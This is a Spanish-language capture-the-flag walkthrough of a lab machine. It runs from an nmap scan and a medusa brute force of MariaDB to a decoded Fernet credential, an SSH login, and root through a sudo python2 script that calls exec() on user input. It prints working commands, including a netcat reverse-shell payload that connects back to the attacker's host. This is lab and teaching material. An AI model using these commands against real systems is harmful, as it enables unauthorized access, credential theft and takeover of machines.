iniciamos con un nmap

```
1337/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (proto
col 2.0)
3306/tcp open  mysql   MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.3.23-MariaDB-0+deb10u1
|   Thread ID: 39
|   Capabilities flags: 63486
|   Status: Autocommit
|   Salt: 3|9G8#Es3B4y*^~"*Ipx
|_  Auth Plugin Name: mysql_native_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Salt: 3|9G8#Es3B4y*^~"*Ipx

podemos ver 2 puertos abiertos con dos servicios una base de datos mariadb y un ssh

el escaneo con go buster y dirb no nos da resultado.

cómo no hay mucha más info probaremos directamente hacer un ataque fuerza bruta a la base de datos con medusa

medusa -h 192.168.243.118 -M mysql -u root -P /usr/share/wordlists/rockyou.txt -t 40 -v 4 -f

sí nuestro ataque tiene éxito obtendremos las credenciales del usuario root

```
└─$ mysql -u root -pprettywoman -h 192.168.243.118
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 67430
Server version: 10.3.23-MariaDB-0+deb10u1 Debian 10
```

una vez logrado buscamos las bases de datos disponibles:

```
MariaDB [(none)]> SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| data               |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.161 sec)
```

seleccionamos la que queremos ver en este caso la de nombre data:

```
MariaDB [(none)]> USE data;
Reading table information for completion of table and column
names
You can turn off this feature to get a quicker startup with -
A

Database changed
```

una vez seleccionada debemos buscar las tablas dentro de la base de datos

```
MariaDB [data]> SHOW TABLES;
+----------------+
| Tables_in_data |
+----------------+
| fernet         |
+----------------+
1 row in set (0.158 sec)
```

ahora que tenemos el nombre de la tabla podemos ver el contenido de la misma:

```
MariaDB [data]> SELECT * FROM fernet;
+--------------------------------------------------------------------------------------------------------------------------+
| cred
  | keyy                                             |
+--------------------------------------------------------------------------------------------------------------------------+
| gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=
  | UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0= |
+--------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.158 sec)

MariaDB [data]>
```

para nuestra suerte encontramos dos palabras creed y keyy y dos textos encriptados.

Fernet
Si investigamos un poco en línea, descubriremos que Fernet es una especie de algoritmo de cifrado.
https://asecuritysite.com/encryption/ferdecode

en esta página podemos desencriptar fácilmente fernet.

cómo podemos ver solo rellenamos los campos con cada texto cifrado y listo tenemos el texto decodificado que indica que es lucy:wJ9`"Lemdv9[FEw-

sacando conclusiones podemos ver que es un usuario llamado lucy con una contraseña

wJ9`"Lemdv9[FEw-

intentaremos loguearnos en ssh con estas credenciales.

recordemos que nuestro escaneo nmap nos revelo que el puerto ssh no es el por defecto y en este caso es el 1337 por ende debemos especificarlo o nos lanzara el error de connection refused

```
└─$ ssh lucy@192.168.243.118
ssh: connect to host 192.168.243.118 port 22: Connection refused
```

sabiendo esto solo debemos especificarlo

```
─$ ssh lucy@192.168.243.118 -p 1337
```

una vez dentro enumeramos los comandos con privilegios elevados con sudo -l

```
lucy@pyexp:~$ sudo -l
Matching Defaults entries for lucy on pyexp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucy may run the following commands on pyexp:
    (root) NOPASSWD: /usr/bin/python2 /opt/exp.py
```

cómo podemos ver nos lleva a **/ usr / bin / python2** , pero solo se puede ejecutar en **/opt/exp.py**

vemos el contenido de exp.py

```
lucy@pyexp:~$ cat /opt/exp.py
uinput = raw_input('how are you?')
exec(uinput)
```

Este programa ejecutaría cualquier entrada que proporcione el atacante. Podemos abusar fácilmente de esta funcionalidad.

primero configuramos el oyente netcat en nuestra maquina:

```
└─$ sudo nc -lvp 1234
[sudo] password for k3yr0nym0us:
listening on [any] 1234 ...
```

con el siguiente comando podremos ejecutar nuestra shell inversa:

```
lucy@pyexp:~$ sudo /usr/bin/python2 /opt/exp.py
how are you?
```

cómo podemos ver al ejecutar el comando nos solicita un tipeo acá escribimos el siguiente código:

__import__('os').system('nc 192.168.49.243 1234 -e /bin/bash');

y al darle enter deberíamos obtener nuestro shell inverso.

```
└─$ sudo nc -lvp 1234
listening on [any] 1234 ...
192.168.243.118: inverse host lookup failed: Unknown host
connect to [192.168.49.243] from (UNKNOWN) [192.168.243.118] 34408
```

con nuestro código de siempre whoami veremos nuestro usuario y confirmaremos que somos root.